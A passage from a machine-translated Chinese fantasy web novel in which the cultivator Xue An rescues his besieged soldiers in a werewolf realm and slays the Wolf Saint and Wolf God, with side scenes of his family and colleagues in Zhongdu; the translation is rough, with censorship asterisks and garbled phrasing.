    The wolf soul trembled and seemed to hesitate.


    Xue An smiled, "If you don''t tell me, then I can check from your soul!"


    The wolf soul hurriedly said: "That is because all werewolves are descendants of the wolf god. Once they die, their souls will return to the wolf temple in the main city. Our sacrifices are different, so there will be souls."


    Xue An nodded, "Where is the main city?"


    "This one����."


    Xue An''s patience was wiped out, and he shook his palm directly.


    Click.


    The wolf soul screamed and was crushed, and the memory contained in the soul was also captured by Xue An.


    The cruel and **** scenes in the memory of this wolf **** sacrifice made Xue An snorted. It seemed that the means to kill these werewolves was not cruel enough.


    And Xue An also found a lot of useful information.


    For example, the location of the main city, the secret of the wolf god, etc.


    original.


    This secret realm was not owned by the wolf **** at first, but was built by a great power in China in the ancient times, but then the great power and the strong suddenly disappeared, leaving only a few Chinese people to survive and multiply in this world.


    Later, the ancestor Wolf God was chased by the Holy See of Light and had no way to enter the earth. Under a very accidental opportunity, it discovered this secret realm, and if it was a treasure, it quickly regarded this as its own exclusive territory.


    After multiplying for generations, the descendants of the wolf **** spread all over this world, and then became the masters and slaughtered the aborigines.


    Now the wolf **** is still asleep in the wolf temple, and its descendants have made contact with Country E in the main world, and often cooperate.


    Country E is responsible for providing the souls of various strong men, while the werewolf tribe provides the blood of the wolf **** of Country E.


    As for the position of the members like the fire phoenix, the wolf **** sacrifice is unknown.


    But Xue An had a hunch that they were all still alive.


    And just when Xue An conquered the Quartet in the Secret Realm of Wolf Warriors.


    The main world, above the earth, has also caused an uproar.


    This is the seventh day when Xue An and the Phoenix Force disappeared.


    The Siberian training camp was deserted.


    The other troops have dispersed.


    Susanna stood on the roof, her eyes a little sad.


    Soon, a helicopter came to the top of the building.


    "Colonel Susanna, board the plane and leave! This place has been decided to be abandoned!" an officer said.


    Susanna was silent for a long time, nodded and boarded the helicopter.


    In these seven days, she mobilized all the manpower she could mobilize to search for.


    But apart from the corpse and blood, she found nothing.


    Sitting on the helicopter and looking at the large forest outside the window, Susanna prayed silently in her heart.


    Hope you are still alive!


    Zhongdu settle down.


    Zhao Xuehui and Qiao Le and Yang Bin looked solemn and sad.


    suddenly.


    The door opened, and An Yan led her two daughters out.


    "Brother and sister!"


    "sister in law!"


    The three quickly stood up.


    An Yan had a smile on her face, "You are here!"


    "Well! Sister-in-law, it''s okay, just come and have a look! My second brother..." Qiao Le said hurriedly.


    Zhao Xuehui kicked him bitterly, and then apologized: "Brother sister, we just come and have a look."

 Chapter 238： The storm is rising

    An Yan swept the hair in her ears and smiled slightly, "Needless to say, I understand what you mean, and I have nothing to worry about, because I believe that he must be alive and will be back in a few days! "


    "Yes, yes! My second brother has a big life, he must be fine!" Qiao Le nodded quickly.


    The three brothers sat for a while, then got up and left.


    After leaving Anjia, Zhao Xuehui''s expression became serious.


    "We have to be prepared. The second child is not there now, so some people will inevitably be thinking about it!"


    "Understand, if anyone dares to do anything to Anjia, we will spare this life and protect the well-being of the mother and daughter!" The eyes of Yang Binyi and Qiao Le flashed with cold light.


    Zhao Xuehui nodded, "Now our most important thing is to manage the Tianyuan Company! The Chen family just called me, and they will go all out to help us maintain the situation!"


    "Old man Chen is quite righteous!" Qiao Le said.


    Zhao Xuehui said: "He is a smart person. Now the relationship between Anjia and Chen''s family is known to everyone in Zhongdu, so he knows what to do!"


    And when they left, An Yan sat in the room sullenly with sad eyes.


    "Mom, what''s wrong with you?" Xue Xiang and Xue Nian asked with concern.


    An Yan shook his head, "It''s okay!"


    "Is it about Dad?" Xue Xiang asked, tilting his head.


    An Yan''s face was a little pale.


    "Mom, let me tell you, both of us can feel the presence of Dad, so don''t worry about him, he will definitely come back!" Xue Xiang and Xue Nian were like little adults at the moment, comforting their faces.


    An Yan nodded, sniffed hard, and then smiled: "What do you want to eat? Mom, do it now!"


    "Egg fried rice!"


    "Okay, mom do it now!"


    When he came to the kitchen, An Yan looked at the pan and stayed for a while before he was busy.


    Husband, how are you doing now?


    Don''t worry, I will always be here waiting for you to come back. If anyone dares to bully, think and miss, just like you said, I will hold this pan and pat!


    Barracks.


    In the past few days, An Qing''s figure has obviously lost a lot of weight, and her face has become dehydrated, from a slightly fat face to a pointed face with melon seeds.


    Whenever she walked down the corridor holding documents, many people would talk about it behind her back.


    "Did you see it? That''s the guy who killed a group of people!"


    "Shhh, don''t say it, I heard that she even killed her brother-in-law this time, didn''t she dare to go home if she didn''t see it?"


    These talks occasionally drifted into An Qing''s ears, but she was just pale and didn''t hear them.


    When she returned to her office, she realized that there was an extra person in the room.


    A tall and handsome man in casual clothes was leaning on the desk and looking at her with playful eyes.


    "Miss Ann, long time no see!"


    Upon seeing him, An Qing''s expression became extremely ugly, "Liu Minghui!"


    Liu Minghui smiled, watching An Qing''s eyes full of greed.


    "An Qing, you are still the same, not much changed!"


    "What are you doing here?" An Qing said angrily.


    "What are you doing? Hehe, I think I should inform you, soon, we will be colleagues, no! It should be said...soon I will be your superior!" Liu Minghui said proudly.


    An Qing was taken aback.


    Liu Minghui''s face was sneered, "After all, some people have killed so many elite fighters. Although they have been suppressed, they have to bear some responsibility, don''t you think?"


    "You nonsense!" An Qing''s eyes were full of anger.


    "Nonsense? Haha, can you see what this is?" Liu Minghui put a piece of paper on the table, and then walked away.


    It''s just that when passing by An Qing''s side, he smiled meaningfully and said: "Sorry, now the general is dead, no one will support you."


    "So in the end, we are Liu Jiasheng. Everything you worked so **** will belong to me! And I look forward to the day you beg for mercy!"


    After speaking, Liu Minghui left with a smug face.


    After he left, An Qing walked to the desk in despair and looked at the paper transfer order on the table.


    In the beginning, the Liu family and the An family were fighting for their position in the army, but in the end, An Jia won a narrow margin and An Qing succeeded in finding a position next to the general.


    But the fight between the two parties has never stopped, and Liu Minghui even covets An Qing''s whole person.


    And now, the general is dead and the Fire Phoenix is ??missing, An Qing has become a lone army, with no one to rely on.


    That''s why the Liu family will brazenly take action at this time, and the intentions can be described as sinister and vicious.


    An Qing''s face was pale, and tears fell like broken pearls, drenching the writing on the paper.


    Brother-in-law, where are you now?


    The news of Xue An''s disappearance, although Chen Xiuhe tried his best to maintain it, did not cause much shock.


    But in the seemingly peaceful Zhongdu, there is still a sense of wind and rain.


    At this moment, a man and a woman appeared on the streets of Zhongdu.


    The man is tall and mighty, with a pale golden face.


    The woman in white wins the snow, is beautiful and refined.


    The two stood on the street, looking at an advertisement not far away.


    The above is impressively advertising for Tianyuan Potion.


    A trace of disdain appeared at the corner of the man''s mouth, "Sister Wen, a mundane potion, dare to praise such Haikou, it is really funny."


    Wen Banmei looked indifferent and said lightly: "This time I am going to Kunlun, Master wants me to see if there are any new trends in the ordinary, this thing makes me a little interested!"


    Jiang Nubing smiled, "If this is the case, let''s go take a look."


    Wen Banmei nodded slightly.


    After the two got a bottle of Tianyuan, they didn''t care at first, Jiang Nubing smiled and said, "It looks pretty, but I don''t know what''s inside."


    Speaking, Jiang Nubing opened the bottle cap, reached the end of his nose and smelled it, his complexion suddenly changed.


    "How?" Wen Banmei asked.


    Jiang Nubing did not speak, but poured out a small cup and drank it in one go.


    After a while, he opened his eyes with horror on his face This thing is useful to me! "


    "What?" A hint of surprise appeared on Wen Banmei''s cold face.


    Jiang Nubing said solemnly: "This thing actually has an effect similar to that of a pill. After I drank it, I felt that the cultivation base was faintly strengthened!"


    At this time, Wen Banmei couldn''t calm down anymore, picked up Tianyuan and tasted it by herself, and then was stunned.


    You must know that in the Kunlun Secret Realm where they are located, the pill that can enhance cultivation is only qualified by true disciples, and only a few pills are given each year.


    Even if they were known as Kunlun immortals, they were just a little bit more.


    I heard that there seem to be more descendants of Tianjiao from the True Legend School, but it is impossible to buy them like this Tianyuan.


    Wen Banmei and Jiang Nubing looked at each other, and they both saw the greed and excitement in each other''s eyes.


    This time walking on earth is worth it!

 Chapter 239： For the instructor, for Huofeng!

    The Secret Realm of Wolf Warriors.


    In the wolf temple of the main city.


    A senior wolf king walked in, "Master Wolf, the news that just came, the group of Chinese soldiers who suddenly appeared has not been captured!"


    "Trash!" The giant wolf with silver brilliance on its fur slowly turned around, and a pair of wolf eyes were full of anger.


    "Tomorrow is the day when my father wakes up after a hundred years of sleep. These powerful fighters happen to be the best sacrifices, but you haven''t captured them for several days!"


    The pack of wolves in the room lowered their heads and dared not speak.


    The wolf saint paced back and forth in the wide hall, and after a while, he said in a deep voice: "Send the order and send the blood war wolf. You must capture these guys today!"


    "Yes!" The giant wolf did not retreat.


    "What else is there?"


    "Master Wolf Saint, the Snow Wolf City suddenly lost contact..."


    "Snow Wolf City?" Wolf Sage frowned, "I guess the unconvincing Snow Wolf King went to play again, don''t worry about it, when my father Wolf God wakes up tomorrow, it will naturally come back after being inspired! "


    "Yes!"


    With an order from the wolf saint, the most elite warrior among the werewolves, the blood war wolf, was dispatched.


    And on a high mountain about a hundred kilometers away from the main city.


    Cheng Hao and others have just gone through a wave of attacks, and are now taking time to rest.


    In the past few days, they have no idea how many attacks from werewolves have experienced.


    These wolves have infinite manpower and are quite intelligent.


    If it weren''t for the favorable terrain and the desperate counterattack of Cheng Hao and others, it would be impossible to defend it.


    But Cheng Hao knew in his heart that he was about to reach his limit.


    In the past few days, the team members have exhausted the combat rations they carry with them, and now they all rely on picking some wild fruits and playing some hares to maintain.


    But this simply cannot meet the needs of such a fierce battle.


    Everyone began to weaken at a speed visible to the naked eye.


    But even so, everyone''s fighting will is high.


    In Sun Ling''s words, how could we be the elite trained by the instructor and lose to this group of beasts.


    "Captain, you eat!" Zou Yi carefully held the last bag of combat rations and handed it to Cheng Hao.


    Cheng Hao shook his head, "I just ate a roasted rabbit and I am not hungry yet!"


    In fact, Cheng Hao can''t remember when the last time he ate.


    Zou Yi was a little anxious, "Captain, what can you do without eating? If you are hungry, who will command?"


    Just as Cheng Hao was about to say something, the werewolf under the mountain launched another attack.


    This attack was crazier than ever.


    Cheng Hao calmly ordered the players to rely on the mountain to fight back.


    Several werewolf bodies have appeared on the ground.


    At this moment, a giant wolf rushed forward, and his paws were about to reach Cheng Hao''s shoulders.


    Cheng Hao wanted to hide, but his eyes were a little dark, so his reaction was delayed for half a second.


    The giant wolf was very excited. The units of these untouchables were simply too tough. Seven or eight days of attack failed to knock these people down. On the contrary, the werewolves suffered a lot of casualties.


    This irritated these werewolves with eyes above the top.


    This time I can finally catch the leader!


    When it was happy, it felt that its paws shook, but it didn''t catch it.


    When he looked down, he saw that Zhou Daniu was exuding a bright golden light, and he shouted angrily: "Get out of here!"


    As he spoke, Zhou Daniu tried his last strength and blasted the giant wolf''s lower abdomen with a punch.


    boom!


    The giant wolf was blasted out dozens of meters away, and a painful color flashed on his face.


    And Zhou Daniu was panting at the moment, and almost fell to the ground.


    Cheng Hao quickly stepped forward to support him, "Da Niu!"


    "Captain, I guess I can''t hold it anymore!" Zhou Daniu said weakly.


    In these days of battle, because of the practice of Immortal Vajra, Zhou Daniu often acted as a forward and main force, which also caused his physical strength to be consumed sharply.


    Although everyone reduced their rations to ensure his supply as much as possible, they were still on the verge of collapse.


    Cheng Hao felt his heart sink, and said in a deep voice: "Da Niu, don''t worry, you take a rest first, I''ll take it!"


    Zou Yi was back now too disheartened.


    He just lurked in the past, trying to kill a giant wolf, but failed.


    "Daniu, are you okay!" Zou Yi cares more about his good partner than anyone else.


    "Don''t worry, I can''t die for the time being!" Zhou Daniu grinned.


    At this time, after a wave of attacks, the giant wolves retreated again.


    Everyone breathed a sigh of relief and began to take a break.


    But within a minute of sitting on the ground, there was a huge commotion under the mountain.


    Everyone was still wondering, and suddenly felt that the mountains were shaking slightly, and then a group of golden giant wolves that were much taller than ordinary giant wolves were rushing.


    Cheng Hao''s heart sank, but still shouted: "All members are ready!"


    Everyone understands that this is the last time.


    But no one felt scared.


    Everyone stood up, arranged their formation, and looked at the golden giant wolves rushing down the mountain.


    Zou Yi put his hand on Zhou Daniu''s shoulder, "Hey, Lao Niu, if I die, remember to go back and give my parents a kowtow!"


    Zhou Daniu curled his lips, "I won''t go, because I guess I must die before you!"


    Zou Yi smiled and hugged Zhou Daniu vigorously, "Brother, let''s fight together in the next life!"


    Zhou Daniu nodded, "OK!"


    Sun Ling walked to the side of Cheng Hao and said with blinking eyes: "Captain, we will hold these giant wolves for a while. You rush out from the path down the mountain."


    Cheng Hao looked at Sun Ling and smiled faintly, "Fire Phoenix has not escaped the captain, remember, if I die, you will take my place!"


    After that, Cheng Hao said loudly: "Attention, all members, for the instructor, for the fire phoenix, the final sprint counterattack! Even if you die, let these beasts be buried with us!"


    "Yes!" everyone promised.


    At this moment, these sacred blood war wolves have rushed to the front.


    The members of the Phoenix and these guys fought together.


    The situation fell into a stalemate.


    And in the distance, a giant golden wolf with an arrogant expression said coldly: "Master Wolf Sage doesn''t know what''s going on. He has to live, otherwise my men would have torn these guys to pieces!"


    "Lord Wolf King said that, but I don''t think this group of untouchables can last long!" A silver wolf nodded and said with a bow. UU reading


    The golden wolf was a little impatient at this moment, stepped forward and roared, "Wolf mystery!"


    boom.


    All of its subordinates were covered with a faint silver glow.


    Whether these are defenses or attacks, they have multiplied.


    Originally, the members of Huofeng were exhausted, and they were all brought down to the ground soon after one fluctuates.


    These wolves did not kill them, but Cheng Hao and others understood that this was definitely not to let them go.


    Therefore, they winked at each other and secretly took out the dagger.


    "See you in the next life!" The crowd whispered, preparing to commit suicide.


    At this moment, an angry shout came from a distance.


    "Who dares to move my people?"

 Chapter 240： Since it is, then go to hell!

    After this voice came, all the members of Huofeng were stunned.


    Because the voice is so familiar.


    But many giant wolves looked up suspiciously.


    I saw a figure rushing to the front of the mountain at a very fast speed. After stopping, it was Xue An with a murderous face.


    "Teach... instructor?" Cheng Hao said in disbelief.


    Xue An looked at these bruised but determined men, nodded slightly.


    "Yes, it''s me, I''m here!"


    The members of the Fire Phoenix cried with joy.


    They really did not expect to see Xue An at the last moment of life and death.


    "Instructor, forty-eight members of the Fire Phoenix, stood on the top of the mountain for seven days and nights, without a single death!" Cheng Hao''s tired tone carried a trace of pride.


    Xue An nodded, "You rest, leave the rest to me!"


    And the golden giant wolf stepped forward and said impatiently: "Where did the untouchable dare to stop the mission of the blood war wolf and kill him!"


    Several sacred blood war wolves roared and rushed over.


    Xue An''s eyes were full of murderous intent.


    He flew all the way from Snow Wolf City.


    I wanted to go directly to the main city, but suddenly felt the breath of the fire and phoenix people halfway, and immediately turned back.


    Fortunately, he came in time. If he came one step late, then all his subordinates would have to commit suicide.


    This made Xue An''s heart full of anger.


    And once Xue An gets angry, he will kill!


    So Xue An was too lazy to say anything else, and took a step directly in the air.


    "Move the world!"


    boom!


    The rushing wolves turned into powder.


    The wolves are still wondering.


    Xue An took another step.


    "Separate Yin and Yang!"


    boom!


    The ordinary giant wolves on the entire hill screamed, and they were all shattered.


    The power of the two feet in succession changed the expression of the golden wolf king who was already full of disdain.


    "Quick! Get back!" it yelled, trying to get all the **** war wolves back.


    It''s too late.


    Xue An looked solemn and took the third step.


    "Life and death!"


    boom!


    Everything seems to have stalled.


    Cheng Hao and others could even see the infinite panic in the eyes of these **** war wolves.


    It was as if these giant wolves were all pressed the pause button, and they were out of step with the surrounding environment.


    Snapped!


    After a crisp sound, time began to pass again, but these golden giant wolves turned into powder.


    Only the wolf king vomited a few big mouthfuls of blood, and it was considered a wolf''s life to be recovered, but he was already frightened. He didn''t even dare to look at Xue An, turned and ran.


    These werewolves usually claim to be a noble race, but when they escaped, they were still running on all fours.


    But Xue An obviously didn''t plan to let go of any werewolves.


    With a wave of his hand, a sword light instantly cut through the space and directly pierced into the back of the Golden Wolf King.


    The Golden Wolf King roared, but still ran wildly.


    A cold smile appeared at the corner of Xue An''s mouth, and he snapped his fingers lightly.


    boom!


    This golden wolf king exploded like a bomb buried in his body!


    With three steps and one sword, all the giant wolves are destroyed.


    Xue An turned to look at Cheng Hao and the others, "Can you still hold it?"


    Cheng Hao and others stood up, "Muslim, no problem!"


    Zhou Da Niu smiled sullenly, "Weird, when the instructor came, I thought it would be okay to kill another giant wolf now!"


    Xue An smiled slightly, "Well, come with me!"


    "Instructor, what are you going to do?" Cheng Hao couldn''t help asking.


    There was a murderous look in Xue An''s eyes.


    "Slay the werewolf main city!"


    Before Xue An left Snow Wolf City, he not only gave Wu Qing and the others a simple practice technique, but also promised them that all werewolves would be wiped out.


    Xue An knew very well that this secret realm was originally owned by Huaxia Power. This wolf **** took advantage of the emptiness to enter and slaughtered the indigenous Chinese people. This behavior was infuriating.


    Of course Xue An would not let these beasts go.


    main city.


    Standing on the high platform, Saint Wolf looked up at the towering idol in the temple with a very respectful and excited expression.


    quickly.


    Its ancestor, who has been sleeping for a hundred years, is about to wake up.


    As long as he wakes up, he can take people to fight in the main world.


    Thinking of this, Wolf Saint couldn''t help looking forward to it.


    I heard that the main world is a vast land, and there are weak untouchables everywhere, if we can establish a werewolf dynasty in the main world, how great it would be!


    Wolf Sage thought in his heart.


    And the werewolf executives underneath are also discussing this matter.


    "Lord Wolf God is about to wake up, and then our werewolf clan will be invincible in the world!"


    "That''s right, I heard that the food and vodka in the main world have everything they need, and they will all belong to us werewolves by then!"


    Different from the elation of these werewolves.


    The Chinese people who were oppressed as slaves all bowed their heads in humiliation.


    If the wolf **** awakens, the burden on them will be heavier.


    "Why haven''t the people who sent out to catch the untouchable fighters come back?" At this moment, the wolf sage frowned.


    The wolf saint knew very well that compared to the soul of the werewolf, the soul of the untouchable warrior is the best tonic, so it sent the blood war wolf to catch these untouchable warriors.


    But why haven''t you come back yet?


    Saint Wolf didn''t even think about whether he would fail.


    In its view, that is simply impossible.


    After all, the blood war wolves are all elite fighters who inherited the blood of the wolf god, and each of them has the power of heaven and man, how could it fail?


    But at this moment, the sky seemed to have the sound of wind and thunder.


    Saint Wolf looked up and saw a golden light coming straight to the main city temple.


    And the powerful aura contained in this golden light made it all shocked.


    Who is this? Why is there such a strong momentum?


    When the look of Wolf Saint changes.


    Xue An has stopped, standing in the air, overlooking the tall wolf temple and the high-level group of werewolves.


    "Are you all here?" Xue An said lightly.


    Actually a pariah?


    Before the wolf saint could speak, a giant wolf rushed over and roared: "The temple is forbidden, how can you let such untouchables set foot and get out!"


    But Xue An just waved his hand, and a golden light pierced the head of the giant wolf directly.


    boom!


    The blood mixed with the brain, splashed out from the back of the giant wolf''s head.


    The giant wolf''s face was still a little dazed, and then the dead body fell to the ground.


    one strike.


    Everyone was shocked At this moment, the members of the Phoenix Fire also arrived one after another, all standing neatly behind Xue An.


    Although everyone was hurt, the expression on his face was so excited.


    Seeing these Chinese soldiers, the face of Wolf Saint couldn''t help but sink.


    At this moment, Xue An said calmly: "You, who is the king?"


    The wolf saint''s face fell gloomy, and he stepped forward and said in a deep voice.


    "Who are you? Why do you want to break into the restricted area of ??my wolf god?"


    A cold smile appeared at the corner of Xue An''s mouth, and said lightly: "Are you the king of these werewolves?"


    Saint Wolf was startled, then nodded, and said proudly: "Yes, I am Saint Wolf..."


    It also wanted to boast a few words.


    Xue An said indifferently: "Since it is, then go to death!"

 Chapter 241： Today, I will punish God!

    The voice did not fall.


    Xue An disappeared from midair.


    When he appeared again, he had already come to this wolf saint, and then he blasted out a punch.


    The wolf saint also calmed down at this moment, and said with a grinning smile: "A mere pariah, dare to be presumptuous, let you know the bloodline of the wolf **** today!"


    With that, the wolf saint was full of silver light, and the giant claw shot out, which happened to match Xue An''s punch.


    boom.


    After a muffled sound, an invisible shock wave spread from the position of the two fists, destroying all the surrounding buildings.


    Several nearby silver wolf guards were also affected, but before they even screamed, they turned into fly ash.


    The wolf saint''s heart was also full of horror at this moment. It thought that it would be able to blast this human being into mud with a single claw.


    After all, in terms of power, werewolves are much stronger than humans.


    But I didn''t expect that not only did not shake the other party, but instead shook myself so much that he almost vomited blood.


    Xue An looked indifferent, and slowly raised his fist, "Come on!"


    boom!


    Another punch.


    Saint Wolf was shocked so that the silver brilliance all over his body was flickering, and he took a half step back.


    This made the werewolf nobles under the stage horrified.


    "How could it be possible that the strength that relied on actually repelled Lord Wolf Saint!"


    The wolf saint was trembling slightly at this moment, and his eyes were extremely frightened.


    What is this human being made of, and how can it be so powerful?


    Xue An ignored the horror from the outside world, but showed a few white teeth and smiled sorrowfully, "Come again!"


    As Xue An slowly raised his fist, everything around him was still, and the Qi of Heaven and Earth was also drawn by the fist.


    The wolf saint''s expression changed drastically, and he roared, "Wolf mystery!"


    boom!


    The Yinhui on it suddenly soared, and its body was much taller, and then both claws came out to force Xue An''s punch.


    There was no sound, as if the two were just casually hitting hands.


    But after a blink of an eye, this tall and mighty wolf saint was blasted out, and he vomited several mouthfuls of blood in the air.


    Xue An closed his fists, faced the horrified gaze of the wolves, and shook his head gently, "Still too weak!"


    Xue An was the wolf saint who flew by pure power, and did not use his cultivation base.


    "Untouchable, I will kill you, and then put your soul in the flames and burn it forever!" An extremely angry voice came from a distance.


    Xue An turned his head and looked, and saw that the wolf saint who was knocked down to the ground was slowly getting up from the ground, the momentum of his whole body began to rise steadily, and a pair of wolf eyes turned into a red color.


    "Frenzy!"


    "Master Wolf Saint is crazy!"


    There was a commotion among the wolves below, and many people were full of joy.


    Madness is a skill only available to advanced wolf races. Once you enter this state, you can use your full potential without fear of injury until you die.


    "The fury of the mad wolf!" The wolf saint roared, and then the whole person turned into a silver light, and went straight to kill Xue An.


    The speed is several times faster than just now.


    Faced with this powerful and murderous blow, Xue An sighed slightly, "If you say you can''t, then you can''t, and madness is useless!"


    As he said, Xue An stretched out his hand slowly.


    boom!


    The wolf saint who has fallen into a frenzied state, the impact is enough to destroy a small mountain.


    But Xue An just stretched out a slender palm and pressed it on the forehead of the wolf saint, and the impact stopped.


    The picture has stalled!


    A dazed color flashed on the face of Saint Wolf.


    Not only it, all the werewolves are at a loss.


    Because this scene is too weird.


    Xue An stretched out one hand and pressed it on the head of the wolf saint, as if blocking a coquettish little wolf dog.


    Xue An said calmly: "Now, it''s my turn!"


    After all, Xue An''s palm grabbed Wolf Saint''s head and suddenly pulled out.


    Bang bang bang!


    The tall body of the wolf saint was lifted by Xue Lan, and it hit the ground with a single blow.


    These werewolves looked cold all over.


    How strong is this man?


    Even Lord Wolf Saint who has entered a frenzied state is not his opponent?


    Only the members of the Phoenix Fire had their faces indifferent. In their eyes, Xue An took everything for granted.


    At this time Xue An stopped, and the wolf saint had been smashed all over his body, and Xue An''s eyes were full of panic.


    Xue An smiled faintly, "Come on, I''ll take you on the road!"


    With that, Xue An stepped forward, stepped on the body of the wolf saint with one foot, grabbed the head of the wolf saint with the other hand, and gave a soft drink.


    "Get up!"


    boom.


    After a muffled sound.


    Xue An''s head was pulled off by Xue An abruptly.


    The blood spurted out, the wolf saint body died!


    hiss!


    The werewolves all took a breath, and some of them were timid and fainted.


    The invincible Lord Wolf Saint was actually pulled out of his head?


    With the death of Wolf Saint, the temple began to tremble slightly, and then a terrifying aura rose.


    "Who is it! I dare to destroy my wolf **** bloodline!" A majestic voice sounded.


    Hearing this voice, the pack of wolves all crawled on the ground, their faces full of ecstasy.


    Because of their god, awakened!


    Xue An looked calm, and threw away the head in his hand. He looked at the majestic temple, and said calmly: "A monster, dare to call a god?"


    With that, Xue An rose into the air, using his hand as a sword, and suddenly fell down.


    boom!


    This tall temple was cut in half like tofu under the sword light.


    And among the ruins, there was an extremely angry roar.


    With the voice, a large crack suddenly opened on the ground of the temple, a huge palm grabbed the ground, and then a huge wolf head slowly rose.


    The wolves all kowtowed.


    Xue An watched quietly.


    This giant wolf crawled out of the crack, stood up to a height of more than 20 meters, and its hair was pure silver, and the wolf eyes were full of coercion and murder.


    The ancestor of the wolf god, awakened!


    "Huaxia Jianxiu, why do you want to break into my wolf mystery, and you can''t get through with my wolf god!"


    The sound shook the country, and the majestic momentum alone was enough to make ordinary people feel terrified A ridiculous color appeared at the corner of Xue An''s mouth, "Your wolf mysterious state?"


    "This secret realm was originally created by my Huaxia Great Power, but later stolen by you, turned it into your wolf secret realm?"


    "You killed my Chinese people, I just want you to taste the same taste, but you say I can''t get along with your wolf god?"


    "Sure enough, a beast is a beast, even if it is a monster, it is still a beast!"


    After Xue An said, the wolf **** yelled in anger: "I am a god, what''s wrong with killing a few untouchables?"


    After Xue An listened, the expression on his face gradually became cold.


    "God? As far as I am concerned, there are no natural gods in the heavens and all realms, only immortals who are unyielding against the sky!"


    After that, Xue An held a virtual palm in his hand, and a group of radiance was engulfed in it, and the great might contained in it made the wolf **** also startled.


    "Today, I will punish God!"

 Chapter 242： This sword... is invincible!

    oom!


    The light ball in Xue An''s hand exudes an extremely bright light, and suddenly burst open.


    Countless swords gas flowed out.


    The wolf **** did not evade, let these sword auras hit him, grinning and said: "It''s useless, since I am a god, your sword auras do not work for me at all!"


    "Oh? Really?" Xue An smiled faintly, "This was not originally prepared for you! Don''t believe me!"


    The wolf **** was shocked and turned to look.


    I saw that the werewolves above the temple square were all dead under this sword rain, and even their souls were strangled.


    "No!" The wolf **** roared.


    Xue An said indifferently: "These descendants are the source of the power to maintain your godhead!"


    really.


    As soon as these werewolves died, the breath of the wolf **** weakened.


    "How do you know this?" The Wolf God was finally shocked.


    This is its core secret.


    The reason it has to multiply so many offspring is to rely on the faith and blood of these offspring to maintain the power of the godhead.


    Xue An shook his head, "At the beginning, the Taiyi true **** who died under my hands was innumerable, not to mention a false **** in your area."


    The wolf god''s expression became more solemn, "Who are you? An ordinary sword repairman would never know so much!"


    Xue An smiled, "Who am I? You will know when you die!"


    The wolf **** calmed down at the moment and smiled gloomily: "I admit that I underestimated you, but do you think this is enough? The reason why God is a God is because... it is invincible!"


    With that, the body of the wolf **** skyrocketed again.


    Thirty meters.


    Forty meters!


    In the end, it grew to a hundred meters, like a giant standing upright, before leaning down and looking at Xue An who looked like an ant with a playful look.


    "Ant, I can crush you with just one finger now! What can you do with me?"


    Seeing this scene, the members of the Fire Phoenix are all tensed.


    Although they firmly believe that Xue An will definitely win.


    But this wolf **** of the heavens and the earth is really terrifying.


    Xue An looked at the wolf **** indifferently, and said softly: "Come on!"


    With an order, the rain of swords that had just flooded the heavens and the earth, as if they heard the king''s order, gathered quickly, and then condensed into a giant sword tens of meters long.


    At this time, the wolf **** had already shot down with one claw and wanted to blast Xue An directly into a fan.


    Xue An holds the sword in his hand and raises it to the sky!


    boom!


    The huge sword collided with the wolf claws, and the huge power made the temple under Xue An''s feet unable to support it, and it cracked into powder with a click.


    The wolf **** roared and tried to break the giant sword, Xue An shook his head, "It''s useless, I said, I will kill you today!"


    After that, Xue An suddenly disappeared, and when he reappeared, he had already come to the front of the wolf god, and his huge sword turned into a golden needle, piercing the wolf god''s forehead.


    The wolf **** retreated in terror, trying to avoid the sword.


    At this moment, Xue An''s soft drink came from the world.


    "This sword number... invincible!"


    The huge sword suddenly turned into a bright streamer, piercing the wolf god''s forehead at an unparalleled speed.


    The wolf god''s expression became stiff, and his eyes were full of horror.


    Then a sword light suddenly rushed from the back of its head, and the blood it brought out sprayed the ground with brain pulp.


    The wolf god''s huge body was like a punctured balloon, and it began to shrink sharply, returning to its original state in the blink of an eye.


    But under this sword, the wolf **** was not dead, but turned around and ran away.


    As it ran, it was frightened.


    Where is this man sacred?


    Why can you penetrate your weakness with one move?


    No, you have to leave here quickly!


    This man is utterly more terrifying than the Bright Holy See who chased and killed him back then!


    The wolf **** was terrified in his heart and ran quickly.


    But just after running not far, I felt that the back of the neck was picked up by someone''s hands, and then I heard Xue An lightly say: "I just want to run now, don''t you think it''s too late?"


    The wolf **** immediately changed to an extremely flattering expression, "My lord, please forgive me, my lord, please forgive me, I will get out of this secret immediately, and I promise I will never come again!"


    Xue An did not speak, but directly brought the wolf **** back to the wolf temple.


    At this moment, the Wolf Temple is in a mess, but in a corner, there is something shining.


    Xue An came here.


    This is a blood pool, full of blood that exudes a powerful breath.


    Blood pool.


    The werewolf clan used to refine the artifact of the blood and the wolf.


    The wolf **** looked uncertain, wondering what Xue An was going to do to bring himself here.


    Before the wolf **** reacted, Xue An stretched out his **** and directly inserted into the wolf god''s forehead, slowly pulling out a bright crystal exuding a powerful aura.


    There was a crack on the crystal, which was the godhead that had just been pierced by Xue An''s sword.


    After taking out the godhead, the body of the wolf **** began to shrink again, and soon became an ordinary gray wolf.


    Xue An crushed the godhead and threw it directly into the blood pool.


    The gray wolf cried out, but couldn''t even speak.


    It knows that its own cultivation base over the years is all over.


    You should let me go now! The Gray Wolf thought in his heart.


    But Xue An obviously didn''t intend to let it go. He swung a sword in his hand, and the gray wolf''s head was cut off, and blood dripped into the blood pool.


    The aura of the blood pool became stronger and purer.


    Xue An turned to look at Cheng Hao and others.


    "Although this thing is very simple, the werewolf family''s self-recovery ability and physical strength are not bad, and I have joined the godhead of the wolf god. After you enter, you can strengthen your body to varying degrees. The benefits are endless!"


    The members of the Fire Phoenix all lit up before jumping into the blood pool one after another.


    No one has the slightest hesitation.


    In their minds, anything Xue An said is unquestionable truth.


    After entering the blood pool, everyone closed their eyes and began to transform their bodies with the power of the wolf god.


    Xue An watched from the side.


    Once the wolf **** dies, the werewolves in the entire secret realm will all lose the power of their bloodlines and become ordinary wolves from then on.


    So Xue An didn''t bother to chase after him.


    One day later.


    The first person to come out was actually Zhou Daniu.


    I saw that this man who was originally strong as a cow had become more powerful at this moment, and his size has soared again.


    "Instructor!" Zhou Daniu said respectfully Xue An nodded, "Try your cultivation skills!"


    "Okay!" Zhou Daniu launched the Immortal Vajra Method, and saw a golden light exuding a faint blood covering his body.


    Xue An waved a sword light casually.


    Ding!


    There was no puncture, only a white mark was left on the skin.


    Xue An nodded, "Not bad!"


    Zhou Da Niu smiled sullenly, "Instructor, I think I can kill a giant wolf with one punch now!"


    While talking, other people also came out of the blood pool, all of which had their own gains, the most important thing is that their physical fitness has been greatly enhanced.


    "Instructor!" everyone shouted in unison.


    Xue An nodded, "Go, go home!"

 Chapter 243： Find E country to settle accounts

    Siberia.


    On the top of a mountain covered with snow.


